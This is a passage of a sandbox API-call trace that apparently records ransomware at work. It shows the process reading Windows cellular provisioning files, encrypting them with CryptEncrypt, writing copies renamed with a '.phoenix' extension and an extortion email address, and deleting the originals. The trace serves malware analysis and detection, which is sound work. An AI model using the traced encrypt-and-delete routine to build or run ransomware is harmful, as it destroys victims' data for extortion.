	[0251.290] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0251.291] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0251.291] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.291] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.292] CryptDestroyKey (hKey=0x151140) returned 1
	[0251.292] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.292] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.292] CloseHandle (hObject=0x2f0) returned 1
	[0251.292] CloseHandle (hObject=0x2e8) returned 1
	[0251.292] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.293] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.293] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0251.294] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.294] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c4, lpOverlapped=0x0) returned 1
	[0251.299] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.299] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.300] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0251.300] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.300] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.300] CryptDestroyKey (hKey=0x151700) returned 1
	[0251.300] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.300] CryptDestroyKey (hKey=0x151140) returned 1
	[0251.300] CloseHandle (hObject=0x2e8) returned 1
	[0251.301] CloseHandle (hObject=0x2f0) returned 1
	[0251.310] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml")) returned 1
	[0251.357] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.357] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.357] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0251.357] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.357] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x287, lpOverlapped=0x0) returned 1
	[0251.359] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0251.359] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0251.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0251.360] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.360] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.360] CryptDestroyKey (hKey=0x151200) returned 1
	[0251.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.360] CryptDestroyKey (hKey=0x151080) returned 1
	[0251.360] CloseHandle (hObject=0x2f0) returned 1
	[0251.360] CloseHandle (hObject=0x2e8) returned 1
	[0251.360] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.361] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.361] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.362] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0251.362] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.362] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x307, lpOverlapped=0x0) returned 1
	[0251.364] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0251.364] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0251.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0251.365] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.365] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.365] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0251.365] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.365] CryptDestroyKey (hKey=0x151240) returned 1
	[0251.365] CloseHandle (hObject=0x2e8) returned 1
	[0251.365] CloseHandle (hObject=0x2f0) returned 1
	[0251.365] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.367] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.367] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.367] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.367] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.367] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.367] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x313, lpOverlapped=0x0) returned 1
	[0251.369] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320, dwBufLen=0x320 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320) returned 1
	[0251.369] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x320, lpOverlapped=0x0) returned 1
	[0251.369] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0251.369] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.369] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.369] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.369] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.370] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.370] CloseHandle (hObject=0x2f0) returned 1
	[0251.370] CloseHandle (hObject=0x2e8) returned 1
	[0251.370] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.371] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.371] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.371] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0251.371] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.371] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0251.373] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.373] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.375] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0251.375] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.375] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0251.375] CryptDestroyKey (hKey=0x151200) returned 1
	[0251.375] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0251.375] CryptDestroyKey (hKey=0x151400) returned 1
	[0251.375] CloseHandle (hObject=0x2e8) returned 1
	[0251.375] CloseHandle (hObject=0x2f0) returned 1
	[0251.375] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.376] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.376] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.377] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.377] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.377] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x309, lpOverlapped=0x0) returned 1
	[0251.378] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0251.378] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0251.379] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0251.379] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.379] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.379] CryptDestroyKey (hKey=0x151040) returned 1
	[0251.379] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.379] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.379] CloseHandle (hObject=0x2f0) returned 1
	[0251.379] CloseHandle (hObject=0x2e8) returned 1
	[0251.380] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.381] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.381] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.381] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.381] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.381] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.382] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.383] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0251.383] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.384] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0251.384] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.384] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.384] CryptDestroyKey (hKey=0x151400) returned 1
	[0251.384] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.384] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.384] CloseHandle (hObject=0x2e8) returned 1
	[0251.384] CloseHandle (hObject=0x2f0) returned 1
